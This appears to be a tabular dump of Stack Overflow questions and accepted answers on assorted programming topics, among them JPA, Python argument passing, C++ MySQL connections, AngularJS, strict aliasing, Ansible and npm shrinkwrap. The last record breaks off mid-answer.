id
int64 4
73.8M
| title
stringlengths 10
150
| body
stringlengths 17
50.8k
| accepted_answer_id
int64 7
73.8M
| answer_count
int64 1
182
| comment_count
int64 0
89
| community_owned_date
stringlengths 23
27
⌀ | creation_date
stringlengths 23
27
| favorite_count
int64 0
11.6k
⌀ | last_activity_date
stringlengths 23
27
| last_edit_date
stringlengths 23
27
⌀ | last_editor_display_name
stringlengths 2
29
⌀ | last_editor_user_id
int64 -1
20M
⌀ | owner_display_name
stringlengths 1
29
⌀ | owner_user_id
int64 1
20M
⌀ | parent_id
null | post_type_id
int64 1
1
| score
int64 -146
26.6k
| tags
stringlengths 1
125
| view_count
int64 122
11.6M
| answer_body
stringlengths 19
51k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
13,370,221 | PersistentObjectException: detached entity passed to persist thrown by JPA and Hibernate | <p>I have a JPA-persisted object model that contains a many-to-one relationship: an <code>Account</code> has many <code>Transactions</code>. A <code>Transaction</code> has one <code>Account</code>.</p>
<p>Here's a snippet of the code:</p>
<pre><code>@Entity
public class Transaction {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
@ManyToOne(cascade = {CascadeType.ALL},fetch= FetchType.EAGER)
private Account fromAccount;
....
@Entity
public class Account {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
@OneToMany(cascade = {CascadeType.ALL},fetch= FetchType.EAGER, mappedBy = "fromAccount")
private Set<Transaction> transactions;
</code></pre>
<p>I am able to create an <code>Account</code> object, add transactions to it, and persist the <code>Account</code> object correctly. But, when I create a transaction, <em>using an existing already persisted Account</em>, and persisting the <em>the Transaction</em>, I get an exception:</p>
<blockquote>
<p>Caused by: org.hibernate.PersistentObjectException: detached entity passed to persist: com.paulsanwald.Account
at org.hibernate.event.internal.DefaultPersistEventListener.onPersist(DefaultPersistEventListener.java:141) </p>
</blockquote>
<p>So, I am able to persist an <code>Account</code> that contains transactions, but not a Transaction that has an <code>Account</code>. I thought this was because the <code>Account</code> might not be attached, but this code still gives me the same exception:</p>
<pre><code>if (account.getId()!=null) {
account = entityManager.merge(account);
}
Transaction transaction = new Transaction(account,"other stuff");
// the below fails with a "detached entity" message. why?
entityManager.persist(transaction);
</code></pre>
<p>How can I correctly save a <code>Transaction</code>, associated with an already persisted <code>Account</code> object?</p> | 13,500,921 | 22 | 2 | null | 2012-11-13 22:45:46.25 UTC | 114 | 2022-03-26 11:20:12.713 UTC | 2020-01-27 07:34:30.493 UTC | null | 1,025,118 | null | 344,155 | null | 1 | 310 | java|hibernate|jpa|entity|persist | 616,616 | <p>This is a typical bidirectional consistency problem. It is well discussed in <a href="http://meri-stuff.blogspot.com/2012/03/jpa-tutorial.html#RelationshipsBidirectionalOneToManyManyToOneConsistency" rel="noreferrer">this link</a> as well as <a href="http://notesonjava.wordpress.com/2008/11/03/managing-the-bidirectional-relationship/" rel="noreferrer">this link.</a></p>
<p>As per the articles in the previous 2 links you need to fix your setters in both sides of the bidirectional relationship. An example setter for the One side is in <a href="https://github.com/SomMeri/org.meri.jpa.tutorial/blob/master/src/main/java/org/meri/jpa/relationships/entities/bestpractice/SafePerson.java" rel="noreferrer">this link.</a></p>
<p>An example setter for the Many side is in <a href="https://github.com/SomMeri/org.meri.jpa.tutorial/blob/master/src/main/java/org/meri/jpa/relationships/entities/bestpractice/SafeTwitterAccount.java" rel="noreferrer">this link.</a></p>
<p>After you correct your setters you want to declare the Entity access type to be "Property". Best practice to declare "Property" access type is to move ALL the annotations from the member properties to the corresponding getters. A big word of caution is not to mix "Field" and "Property" access types within the entity class otherwise the behavior is undefined by the JSR-317 specifications.</p> |
13,299,427 | Python functions call by reference | <p>In some languages you can pass a parameter by reference or value by using a special reserved word like <strong>ref</strong> or <strong>val</strong>. When you pass a parameter to a Python function it never alters the value of the parameter on leaving the function.The only way to do this is by using the <strong>global</strong> reserved word (or as i understand it currently).</p>
<p><em>Example 1:</em></p>
<pre><code>k = 2
def foo (n):
n = n * n #clarity regarding comment below
square = n
return square
j = foo(k)
print j
print k
</code></pre>
<p>would show</p>
<pre><code>>>4
>>2
</code></pre>
<p>showing k to be unchanged.</p>
<p>In this example the variable n is never changed</p>
<p><em>Example 2:</em></p>
<pre><code>n = 0
def foo():
global n
n = n * n
return n
</code></pre>
<p>In this example the variable n is changed.</p>
<p>Is there any way in Python to call a function and tell Python that <strong>the parameter</strong> is either <strong>a value</strong> or <strong>reference</strong> parameter instead of using global?</p> | 13,299,557 | 12 | 5 | null | 2012-11-08 23:01:21.857 UTC | 75 | 2022-08-24 21:57:51.63 UTC | 2022-08-24 21:57:51.63 UTC | null | 42,223 | null | 1,761,615 | null | 1 | 105 | python|variables|reference|pass-by-reference | 192,768 | <p>You can not change an immutable object, like <code>str</code> or <code>tuple</code>, inside a function in Python, but you can do things like:</p>
<pre><code>def foo(y):
y[0] = y[0]**2
x = [5]
foo(x)
print x[0] # prints 25
</code></pre>
<p>That is a weird way to go about it, however, unless you need to always square certain elements in an array.</p>
<p>Note that in Python, you can also return more than one value, making some of the use cases for pass by reference less important:</p>
<pre><code>def foo(x, y):
return x**2, y**2
a = 2
b = 3
a, b = foo(a, b) # a == 4; b == 9
</code></pre>
<p>When you return values like that, they are being returned as a Tuple which is in turn unpacked.</p>
<p><strong>edit:</strong>
Another way to think about this is that, while you can't explicitly pass variables by reference in Python, you can modify the properties of objects that were passed in. In my example (and others) you can modify members of the list that was passed in. You would not, however, be able to reassign the passed in variable entirely. For instance, see the following two pieces of code look like they might do something similar, but end up with different results:</p>
<pre><code>def clear_a(x):
x = []
def clear_b(x):
while x: x.pop()
z = [1,2,3]
clear_a(z) # z will not be changed
clear_b(z) # z will be emptied
</code></pre> |
39,495,773 | Xcode 8 Warning "Instance method nearly matches optional requirement" | <p>I converted my (macOS) project to Swift 3 in Xcode 8 and I get the following warnings with several delegate methods I implement in swift classes:</p>
<pre><code>Instance method 'someMethod' nearly matches optional requirement of protocol 'protocolName'
</code></pre>
<p>I get this for several NSApplicationDelegate methods like <code>applicationDidFinishLaunching</code> and <code>applicationDidBecomeActive</code>:</p>
<p><a href="https://i.stack.imgur.com/Uls58.png" rel="noreferrer"><img src="https://i.stack.imgur.com/Uls58.png" alt="enter image description here"></a></p>
<p>But also for implementations of <code>tableViewSelectionDidChange</code>:
<a href="https://i.stack.imgur.com/UAETq.png" rel="noreferrer"><img src="https://i.stack.imgur.com/UAETq.png" alt="enter image description here"></a></p>
<p><a href="https://i.stack.imgur.com/uJHfm.png" rel="noreferrer"><img src="https://i.stack.imgur.com/uJHfm.png" alt="enter image description here"></a></p>
<p>I used code completion to insert the method signatures and also tried copying them from the SDK-headers to rule out typos. The warnings just don't disappear and the methods are never called. </p>
<p>What am I missing here?</p> | 39,525,445 | 10 | 3 | null | 2016-09-14 16:47:39.01 UTC | 6 | 2020-10-27 16:43:30.67 UTC | 2018-10-16 09:13:10.64 UTC | null | 1,068,165 | null | 1,531,256 | null | 1 | 29 | xcode|macos|swift3|xcode8 | 20,847 | <p>We contacted Apple Developer Technical Support (DTS) with this issue.
They replied that this is a <strong>bug in Xcode 8</strong>.</p>
<p>We submitted a bug report and hope for a quick update. (Apple Bug Report ID: 28315920).</p>
<p>If you experience a similar issue, please also <strong><a href="https://bugreport.apple.com/" rel="nofollow noreferrer">file a bug report</a></strong> (referring to ours) so the Apple engineers see its not a single case. </p>
<hr>
<p><strong>Update for Xcode ≥ 8.1</strong></p>
<p>The problem seems fixed now, at least for the delegate methods we are using in our project.</p> |
20,501,104 | How to set null to a GUID property | <p>I have an object of type Employee which has a Guid property. I know if I want to set to null I must to define my type property as nullable <code>Nullable<Guid></code> prop or Guid? prop.</p>
<p>But in my case I'm not able to change the type of the prop, so it will remains as Guid type and my colleague and I we don't want to use the Guid.Empty.</p>
<p>Is there a way to set my property as null or string.empty in order to restablish the field in the database as null.</p>
<p>I have a mechanism to transform from string.empty to null but I will change many things if the would change to accept a empty guid to null.</p>
<p>Any help please!</p> | 20,501,144 | 8 | 2 | null | 2013-12-10 17:22:29.893 UTC | 4 | 2019-05-17 06:28:26.933 UTC | 2013-12-10 17:25:56.583 UTC | null | 1,864,167 | null | 2,532,403 | null | 1 | 37 | c#|guid|nullable | 145,365 | <blockquote>
<p>Is there a way to set my property as null or string.empty in order to restablish the field in the database as null.</p>
</blockquote>
<p>No. Because it's non-nullable. If you want it to be nullable, you have to use <code>Nullable<Guid></code> - if you didn't, there'd be no point in having <code>Nullable<T></code> to start with. You've got a <em>fundamental</em> issue here - which you actually know, given your first paragraph. You've said, "I know if I want to achieve A, I must do B - but I want to achieve A without doing B." That's impossible <em>by definition</em>.</p>
<p>The closest you can get is to use one specific GUID to stand in for a null value - <code>Guid.Empty</code> (also available as <code>default(Guid)</code> where appropriate, e.g. for the default value of an optional parameter) being the obvious candidate, but one you've rejected for unspecified reasons.</p> |
16,424,828 | How to connect mySQL database using C++ | <p>I'm trying to connect the database from my website and display some rows using C++.
So bascily I'm trying to make an application that does a select query from a table from my site database. Now, this must be possible because I've seen tons of applications doing it.</p>
<p>How do I do this? Can some one make an example and tell me what libraries I should be using?</p> | 16,424,893 | 4 | 0 | null | 2013-05-07 17:12:38.997 UTC | 26 | 2018-05-12 00:11:51.483 UTC | 2014-09-28 15:02:25.1 UTC | user289086 | null | null | 1,793,960 | null | 1 | 47 | c++|mysql | 179,860 | <p>Found <a href="https://archive.fo/TeGBj" rel="noreferrer">here</a>:</p>
<pre><code>/* Standard C++ includes */
#include <stdlib.h>
#include <iostream>
/*
Include directly the different
headers from cppconn/ and mysql_driver.h + mysql_util.h
(and mysql_connection.h). This will reduce your build time!
*/
#include "mysql_connection.h"
#include <cppconn/driver.h>
#include <cppconn/exception.h>
#include <cppconn/resultset.h>
#include <cppconn/statement.h>
using namespace std;
int main(void)
{
cout << endl;
cout << "Running 'SELECT 'Hello World!' »
AS _message'..." << endl;
try {
sql::Driver *driver;
sql::Connection *con;
sql::Statement *stmt;
sql::ResultSet *res;
/* Create a connection */
driver = get_driver_instance();
con = driver->connect("tcp://127.0.0.1:3306", "root", "root");
/* Connect to the MySQL test database */
con->setSchema("test");
stmt = con->createStatement();
res = stmt->executeQuery("SELECT 'Hello World!' AS _message"); // replace with your statement
while (res->next()) {
cout << "\t... MySQL replies: ";
/* Access column data by alias or column name */
cout << res->getString("_message") << endl;
cout << "\t... MySQL says it again: ";
/* Access column fata by numeric offset, 1 is the first column */
cout << res->getString(1) << endl;
}
delete res;
delete stmt;
delete con;
} catch (sql::SQLException &e) {
cout << "# ERR: SQLException in " << __FILE__;
cout << "(" << __FUNCTION__ << ") on line " »
<< __LINE__ << endl;
cout << "# ERR: " << e.what();
cout << " (MySQL error code: " << e.getErrorCode();
cout << ", SQLState: " << e.getSQLState() << " )" << endl;
}
cout << endl;
return EXIT_SUCCESS;
}
</code></pre> |
15,450,163 | "Counter" in Batch | <p>I'm trying to make a Batch file that will increment a variable by 1 each time it loops, and then check if the variable is equal to 5, and if it isn't, it loops again. I know there's probably a while loop for this, but I didn't know how to do that, and I'm just enjoying learning Batch for fun right now</p>
<p>Here's the code, it doesn't work the way it should, it just displays a 0: and then does nothing else. So how would I go about fixing it? I have a feeling I'm setting and incrementing the variable wrong, and maybe it's confused about the 2 if statements? (Does it have an else if....?) Anyways, thanks for the help</p>
<pre><code>@echo off
set /p i=0:
goto A
:A
set /p i=i+1:
if i != 5 goto C
if i == 5 goto B
:C
echo Test :D
:B
pause>nul
</code></pre>
<p>Note: I don't know a lot of Batch and I'm not a pro, but I like to learn and I'm just doing this for future reference, and because I enjoy it. So, this code probably isn't good, but I want to know how I can accomplish this.</p> | 15,450,348 | 6 | 1 | null | 2013-03-16 13:59:22.09 UTC | 2 | 2019-04-03 15:46:08.74 UTC | null | null | null | null | 2,152,304 | null | 1 | 8 | batch-file | 98,349 | <p>This is a way to simulate the while loop you are trying to accomplish. Only one <code>goto</code> is needed:</p>
<pre><code>@echo off
set /a x=0
:while
if %x% lss 5 (
echo %x%
pause>nul
set /a x+=1
goto :while
)
echo Test :D
</code></pre> |
17,358,954 | Angularjs, Applying Action on Selected Checkboxes in Table | <p>Im trying to Learn AngularJS and im implementing this Checkboxes that when i some checkboxes from the Grid and click the Remove Button then the Data from Table Should Be removed of Selected CheckBoxes.</p>
<p>I tried but cant figure out how to implement it.</p>
<p>Please see my this code on Plunker.
<a href="http://plnkr.co/edit/e7r65Me4E7OIWZ032qKM?p=preview">http://plnkr.co/edit/e7r65Me4E7OIWZ032qKM?p=preview</a></p>
<p>It would be nice, if you fork and Give Working Example of the Above Plunker.</p> | 17,359,542 | 1 | 0 | null | 2013-06-28 06:56:29.13 UTC | 9 | 2014-09-21 08:23:24.917 UTC | null | null | null | null | 1,204,003 | null | 1 | 12 | javascript|html|angularjs|angularjs-ng-repeat | 31,803 | <p>An easy way would be to change your students list to:</p>
<pre><code>$scope.students = [
{Rollno: "1122",Name: "abc",Uni: "res", selected: false},
{Rollno: "2233",Name: "def",Uni: "tuv", selected: false},
{Rollno: "3344",Name: "ghi",Uni: "wxy", selected: false}
];
</code></pre>
<p>with:</p>
<pre><code><input type="checkbox" ng-model="student.selected">
</code></pre>
<p>in the view. With injecting <a href="http://docs.angularjs.org/api/ng.filter:filter"><code>filter</code></a> into the controller, you can then rewrite the <em>remove</em> function to:</p>
<pre><code>$scope.remove = function(){
$scope.students = filterFilter($scope.students, function (student) {
return !student.selected;
});
};
</code></pre>
<p>here is full code:
<div class="snippet" data-lang="js" data-hide="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>(function (app, ng) {
'use strict';
app.controller('TableCtrl', ['$scope', 'filterFilter', function($scope, filterFilter) {
$scope.students = [
{Rollno: "1122",Name: "abc",Uni: "res", selected: false},
{Rollno: "2233",Name: "def",Uni: "tuv", selected: false},
{Rollno: "3344",Name: "ghi",Uni: "wxy", selected: false}
];
$scope.save = function(){
$scope.students.push({
Rollno: $scope.new_rollno,
Name: $scope.new_name,
Uni: $scope.new_uni
});
$scope.new_rollno = $scope.new_name = $scope.new_uni = '';
};
$scope.remove = function(){
$scope.students = filterFilter($scope.students, function (student) {
return !student.selected;
});
};
}]);
}(angular.module('app', []), angular));</code></pre>
<pre class="snippet-code-css lang-css prettyprint-override"><code>/* Styles go here */
table
{
width: 100%;
}
table,th,td
{
border: 1px solid black;
}
.color
{
background-color: lightgray;
}
.color2
{
background-color: white;
}
#heading
{
background-color: black;
color: white;
}
tr:hover
{
background-color:darkblue;
color: white;
font-weight: bold;
}
#images img
{
margin-top: 10px;
}
#img1
{
width: 33.4%;
}
#img2
{
width: 66%;
height: 255px;
}
#table1
{
margin-top: 10px;
}
label
{
display: block;
margin-bottom: 5px;
margin-top: 5px;
}
button
{
margin-top: 5px;
padding: 5px;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><!DOCTYPE html>
<html ng-app="app">
<head>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script>
<meta charset=utf-8 />
<title>JS Bin</title>
</head>
<body>
<div>
<label>Search:</label>
<input type="search" ng-model="search" placeholder="Enter to Search">
</div>
<div id="table1" ng-controller="TableCtrl">
<table cellpadding="0" border="0" cellspacing="0">
<tr id="heading">
<th>Roll NO:</th>
<th>Student Name:</th>
<th>University:</th>
</tr>
<tr class="color2" ng-repeat="student in students | filter:search | filter:new_search">
<td>{{student.Rollno}} <input type="checkbox" ng-model="student.selected"> </td>
<td>{{student.Name}}</td>
<td>{{student.Uni}} <button ng-click="remove($index)">x </button></td>
</tr>
</table>
<div>
<label>Rollno:</label>
<input type="number" ng-model="new_rollno"> <br>
<label>Name:</label>
<input type="text" ng-model="new_name"><br>
<label>University:</label>
<input type="text" ng-model="new_uni"><br>
<button ng-click="save()">Save</button>
</div>
<div style="float: right; margin-right: 300px;margin-top: -200px;">
<button ng-click="remove($index)">Remove</button>
</div>
</div>
</body>
</html></code></pre>
</div>
</div>
</p> |
27,003,727 | Does this really break strict-aliasing rules? | <p>When I compile this sample code using g++, I get this warning:</p>
<blockquote>
<p>warning: dereferencing type-punned pointer will break strict-aliasing rules <code>[-Wstrict-aliasing]</code></p>
</blockquote>
<p>The code:</p>
<pre><code>#include <iostream>
int main()
{
alignas(int) char data[sizeof(int)];
int *myInt = new (data) int;
*myInt = 34;
std::cout << *reinterpret_cast<int*>(data);
}
</code></pre>
<p>In this case, doesn't <code>data</code> alias an int, and therefore casting it back to an int would not violate strict aliasing rules? Or am I missing something here?</p>
<p>Edit: Strange, when I define <code>data</code> like this:</p>
<pre><code>alignas(int) char* data = new char[sizeof(int)];
</code></pre>
<p>The compiler warning goes away. Does the stack allocation make a difference with strict aliasing? Does the fact that it's a <code>char[]</code> and not a <code>char*</code> mean it can't actually alias any type?</p> | 27,049,038 | 3 | 9 | null | 2014-11-18 20:49:16.793 UTC | 8 | 2020-06-30 05:47:48.557 UTC | 2016-03-17 00:19:06.863 UTC | null | 3,647,361 | null | 2,817,371 | null | 1 | 34 | c++|language-lawyer|strict-aliasing | 3,670 | <p>The warning is absolutely justified. The decayed pointer to <code>data</code> does <strong>not point to an object of type <code>int</code></strong>, and casting it doesn't change that. See <a href="http://eel.is/c++draft/basic.life#7">[basic.life]/7</a>:</p>
<blockquote>
<p>If, after the lifetime of an object has ended and before the storage
which the object occupied is reused or released, a new object is
created at the storage location which the original object occupied, <strong>a
pointer that pointed to the original object</strong>, a reference that referred
to the original object, or <strong>the name of the original object will
automatically refer to the new object</strong> and, once the lifetime of the
new object has started, can be used to manipulate the new object, <strong>if</strong>:<br>
(7.1) — [..]<br> (7.2) — <strong>the new object is of the same type as the
original object (ignoring the top-level cv-qualifiers)</strong>,</p>
</blockquote>
<p>The new object is not an array of <code>char</code>, but an <code>int</code>. <a href="http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2015/p0137r0.html"><strong>P0137</strong></a>, which formalizes the notion of pointing, adds <code>launder</code>:</p>
<blockquote>
<p>[ <em>Note</em>: If these conditions are not met, a pointer to the new object
can be obtained from a pointer that represents the address of its
storage by calling <code>std::launder</code> (18.6 [support.dynamic]). — <em>end note</em>
]</p>
</blockquote>
<p>I.e. your snippet can be corrected thusly:</p>
<pre><code>std::cout << *std::launder(reinterpret_cast<int*>(data));
</code></pre>
<p>.. or just initialize a new pointer from the result of placement new, which also removes the warning.</p> |
26,732,241 | Ansible - Save registered variable to file | <p>How would I save a registered Variable to a file? I took this from the <a href="http://docs.ansible.com/playbooks_variables.html#registered-variables">tutorial</a>:</p>
<pre><code>- hosts: web_servers
tasks:
- shell: /usr/bin/foo
register: foo_result
ignore_errors: True
- shell: /usr/bin/bar
when: foo_result.rc == 5
</code></pre>
<p>How would I save <code>foo_result</code> variable to a file e.g. <code>foo_result.log</code> using ansible?</p> | 26,735,551 | 5 | 3 | null | 2014-11-04 09:58:23.163 UTC | 15 | 2021-01-07 09:35:53.95 UTC | null | null | null | null | 3,863,636 | null | 1 | 60 | ansible | 157,228 | <p>Thanks to <a href="https://stackoverflow.com/users/547569/tmoschou">tmoschou</a> for adding this comment to an outdated accepted answer:</p>
<pre><code>As of Ansible 2.10, The documentation for ansible.builtin.copy says:
If you need variable interpolation in copied files, use the
ansible.builtin.template module. Using a variable in the content field will
result in unpredictable output.
</code></pre>
<p>For more details see <a href="https://github.com/ansible/ansible/issues/50580" rel="noreferrer">this</a> and an <a href="https://github.com/ansible/ansible/issues/34595#issuecomment-356091161" rel="noreferrer">explanation</a></p>
<hr />
<p>Original answer:</p>
<p>You can use the <code>copy</code> module, with the parameter <code>content=</code>.</p>
<p>I gave the exact same answer here: <a href="https://stackoverflow.com/questions/26638180/write-variable-to-a-file-in-ansible/26640778#26640778">Write variable to a file in Ansible</a></p>
<p>In your case, it looks like you want this variable written to a local logfile, so you could combine it with the <code>local_action</code> notation:</p>
<pre><code>- local_action: copy content={{ foo_result }} dest=/path/to/destination/file
</code></pre> |
26,913,770 | Make navigation drawer draw behind status bar | <p>I'm trying to create a Nav Drawer like the one from the Material spec (like the one from the new gmail app). Note how the contents of the nav drawer draw behind the status bar:</p>
<p><img src="https://i.stack.imgur.com/Qgs0U.png" alt="example from the Material spec"></p>
<p>Using Chris Banes' answer from <a href="https://stackoverflow.com/questions/26440879/how-do-i-use-drawerlayout-to-display-over-the-actionbar-toolbar-and-under-the-st">this question</a>, I was able to successfully make the navigation drawer in my app draw behind the status bar; that's working fine. What isn't working is drawing the contents of the nav drawer behind the status bar. I want the blue image in my drawer to be displayed behind the status bar, but that area is drawn with the color of status bar, as seen in this screenshot.</p>
<p><img src="https://i.stack.imgur.com/z6D02.jpg" alt="my app"></p>
<p>So, how can I make my navigation drawer draw in the area behind the status bar? I've posted the relevant parts of my project below.</p>
<p>Base layout containing the navigation drawer:</p>
<pre><code><android.support.v4.widget.DrawerLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/nav_drawer_layout"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:fitsSystemWindows="true">
<!-- Framelayout to display Fragments -->
<FrameLayout
android:id="@+id/content"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:layout_above="@+id/warning_container" />
<FrameLayout
android:id="@+id/navigation_drawer_fragment_container"
android:layout_width="300dp"
android:layout_height="match_parent"
android:fitsSystemWindows="true"
android:layout_gravity="start">
<fragment
android:id="@+id/navigation_drawer_fragment"
android:name="com.thebluealliance.androidclient.fragments.NavigationDrawerFragment"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:layout="@layout/fragment_navigation_drawer" />
</FrameLayout>
</android.support.v4.widget.DrawerLayout>
</code></pre>
<p>Theme of my activity</p>
<pre><code><style name="AppThemeNoActionBar" parent="AppTheme">
<item name="windowActionBar">false</item>
<item name="android:windowNoTitle">true</item>
<item name="android:windowDrawsSystemBarBackgrounds">true</item>
<item name="android:statusBarColor">@android:color/transparent</item>
</style>
</code></pre>
<p>In <code>onCreate()</code> of my activity, I do the following:</p>
<pre><code>mDrawerLayout.setStatusBarBackground(R.color.primary_dark);
</code></pre> | 27,051,852 | 6 | 3 | null | 2014-11-13 16:34:00.36 UTC | 21 | 2016-08-30 09:11:29.817 UTC | 2017-05-23 10:30:49.243 UTC | null | -1 | null | 2,444,312 | null | 1 | 43 | android|android-layout|android-navigation | 38,763 | <p>I found the best way to do this on Android 5.0. The key is to use a <code>ScrimInsetFrameLayout</code> as the root element of the navigation drawer (the second View in the <code>DrawerLayout</code>). This will make the content expand to fill the space behind the status bar. To color the inset properly, you can set the following attribute on the <code>ScrimInsetFrameLayout</code>:</p>
<pre><code>app:insetForeground="#4000"
</code></pre>
<p>Also, make sure that you have <code>android:fitsSystemWindows="true"</code> on the scrim layout!</p>
<p>The source code for the <code>ScrimInsetFrameLayout</code> can be found here: <a href="https://github.com/google/iosched/blob/master/android/src/main/java/com/google/samples/apps/iosched/ui/widget/ScrimInsetsFrameLayout.java" rel="noreferrer">https://github.com/google/iosched/blob/master/android/src/main/java/com/google/samples/apps/iosched/ui/widget/ScrimInsetsFrameLayout.java</a></p> |
39,701,827 | C / C++ best practices with signed / unsigned ints and function calls | <p>I am asking this question for two different languages: C and C++.</p>
<p>What is best practice when calling functions that have an opposite integer sign expectation to what we require in our code?</p>
<p>For example:</p>
<pre><code>uint32 _depth; // uint32 = DWORD
int depth;
_BitScanForward(&_depth, (uint32)input); // DWORD, DWORD
depth = (int)_depth;
</code></pre>
<p>_BitScanForward is expecting DWORD (uint32) parameters. The variable <code>input</code> is of int16 type and I need to process the result <code>_depth</code> as an int32 in my code.</p>
<ol>
<li>Do I need to care about casting <code>input</code> as shown? I know the complier will <em>probably</em> do it for me, but what is best practice?</li>
<li>Is it acceptable to declare <code>_depth</code> as int32 and therefore avoid having to cast it afterwards as shown?</li>
</ol>
<p><strong>NOTE:</strong></p>
<p>My comment about the complier is based on experience. I wrote code that compiled with no warnings in VS but crashed on execution. Turned out I was calling a function with an incorect width int. So I don't leave this topic up to the compiler any more.</p>
<p><strong>EDIT:</strong></p>
<p>The answers are helpful, thanks. Let me refine my question. If there are no width issues, i.e. the function is not expecting a narrower int than what is being passed in (obvioulsy will fail), then is it okay to rely on the compiler to handle sign and width differences?</p> | 39,706,974 | 4 | 17 | null | 2016-09-26 11:38:46.887 UTC | 7 | 2016-09-26 15:39:01.727 UTC | 2016-09-26 13:23:17.237 UTC | null | 401,584 | null | 401,584 | null | 1 | 33 | c++|c | 4,372 | <p>It is very important to write an explicit cast when going from any integer type that is narrower than <code>int</code> to any integer type that is the same width or wider than <code>int</code>. If you don't do this, the compiler will <em>first</em> convert the value to <code>int</code>, because of the "integer promotion" rules, and then to the destination type. This is almost always wrong, and we wouldn't design the language this way if we were starting from scratch today, but we're stuck with it for compatibility's sake.</p>
<p>System-provided typedefs like <code>uint16_t</code>, <code>uint32_t</code>, <code>WORD</code>, and <code>DWORD</code> might be narrower, wider, or the same size as <code>int</code>; in C++ you can use templates to figure it out, but in C you can't. Therefore, you may want to write explicit casts for <em>any</em> conversion involving these.</p> |
19,741,758 | BufferOverflowException when building application | <p>Everytime i want to run my Android application i get a error:</p>
<pre><code>[2013-11-02 13:05:36 - Dex Loader] Unable to execute dex: java.nio.BufferOverflowException. Check the Eclipse log for stack trace.
[2013-11-02 13:05:36 - **********] Conversion to Dalvik format failed: Unable to execute dex: java.nio.BufferOverflowException. Check the Eclipse log for stack trace.
</code></pre>
<p>I google'd it but haven't found anything. I have set the permsize to 512m, Xms1024m and Xmx2048m.
I'm using v22.0.0-675183.</p>
<p>.Log:</p>
<pre><code>!ENTRY com.android.ide.eclipse.adt 4 0 2013-11-02 13:05:36.597
!MESSAGE Unable to execute dex: java.nio.BufferOverflowException. Check the Eclipse log for stack trace.
!STACK 0
java.nio.BufferOverflowException
at java.nio.Buffer.nextPutIndex(Unknown Source)
at java.nio.HeapByteBuffer.putShort(Unknown Source)
at com.android.dex.Dex$Section.writeShort(Dex.java:818)
at com.android.dex.Dex$Section.writeTypeList(Dex.java:870)
at com.android.dx.merge.DexMerger$3.write(DexMerger.java:437)
at com.android.dx.merge.DexMerger$3.write(DexMerger.java:423)
at com.android.dx.merge.DexMerger$IdMerger.mergeUnsorted(DexMerger.java:317)
at com.android.dx.merge.DexMerger.mergeTypeLists(DexMerger.java:423)
at com.android.dx.merge.DexMerger.mergeDexes(DexMerger.java:163)
at com.android.dx.merge.DexMerger.merge(DexMerger.java:187)
at com.android.dx.command.dexer.Main.mergeLibraryDexBuffers(Main.java:439)
at com.android.dx.command.dexer.Main.runMonoDex(Main.java:287)
at com.android.dx.command.dexer.Main.run(Main.java:230)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.lang.reflect.Method.invoke(Unknown Source)
at com.android.ide.eclipse.adt.internal.build.DexWrapper.run(DexWrapper.java:187)
at com.android.ide.eclipse.adt.internal.build.BuildHelper.executeDx(BuildHelper.java:780)
at com.android.ide.eclipse.adt.internal.build.builders.PostCompilerBuilder.build(PostCompilerBuilder.java:593)
at org.eclipse.core.internal.events.BuildManager$2.run(BuildManager.java:726)
at org.eclipse.core.runtime.SafeRunner.run(SafeRunner.java:42)
at org.eclipse.core.internal.events.BuildManager.basicBuild(BuildManager.java:199)
at org.eclipse.core.internal.events.BuildManager.basicBuild(BuildManager.java:321)
at org.eclipse.core.internal.events.BuildManager.build(BuildManager.java:396)
at org.eclipse.core.internal.resources.Project$1.run(Project.java:618)
at org.eclipse.core.internal.resources.Workspace.run(Workspace.java:2344)
at org.eclipse.core.internal.resources.Project.internalBuild(Project.java:597)
at org.eclipse.core.internal.resources.Project.build(Project.java:124)
at com.android.ide.eclipse.adt.internal.project.ProjectHelper.doFullIncrementalDebugBuild(ProjectHelper.java:1057)
at com.android.ide.eclipse.adt.internal.launch.LaunchConfigDelegate.launch(LaunchConfigDelegate.java:147)
at org.eclipse.debug.internal.core.LaunchConfiguration.launch(LaunchConfiguration.java:855)
at org.eclipse.debug.internal.core.LaunchConfiguration.launch(LaunchConfiguration.java:704)
at org.eclipse.debug.internal.ui.DebugUIPlugin.buildAndLaunch(DebugUIPlugin.java:1047)
at org.eclipse.debug.internal.ui.DebugUIPlugin$8.run(DebugUIPlugin.java:1251)
at org.eclipse.core.internal.jobs.Worker.run(Worker.java:53)
</code></pre> | 19,852,321 | 13 | 4 | null | 2013-11-02 12:12:02.667 UTC | 4 | 2014-06-19 19:16:09.82 UTC | 2013-11-02 12:24:01.483 UTC | null | 2,719,312 | null | 2,719,312 | null | 1 | 18 | android|eclipse|adt | 41,170 | <p>try to Add Android Support Library :D <a href="https://stackoverflow.com/a/19803777/544265">https://stackoverflow.com/a/19803777/544265</a></p> |
17,544,051 | How to shrinkwrap devDependencies, but not install them unless necessary? | <p>I have a bunch of <code>devDependencies</code> needed in order to run test suite and have production dependencies locked down with <code>npm shrinkwrap</code>. The problem is that when I run <code>npm install</code>, only production dependencies are installed, in order to install <code>devDependencies</code>, I have to remove npm-shrinkwrap.json and run it again. </p>
<p>Now if shrinkwrap contains <code>devDependencies</code> as well, they get installed in production, where they are not required. Surely there should be some command line arguments to force only normal dependencies to be installed?</p> | 17,552,256 | 5 | 0 | null | 2013-07-09 08:59:35.753 UTC | 15 | 2017-12-10 15:13:00.603 UTC | 2016-10-26 07:25:07.667 UTC | null | 31,671 | null | 123,927 | null | 1 | 43 | node.js|npm | 17,526 | <p><strong>September, 2016:</strong></p>
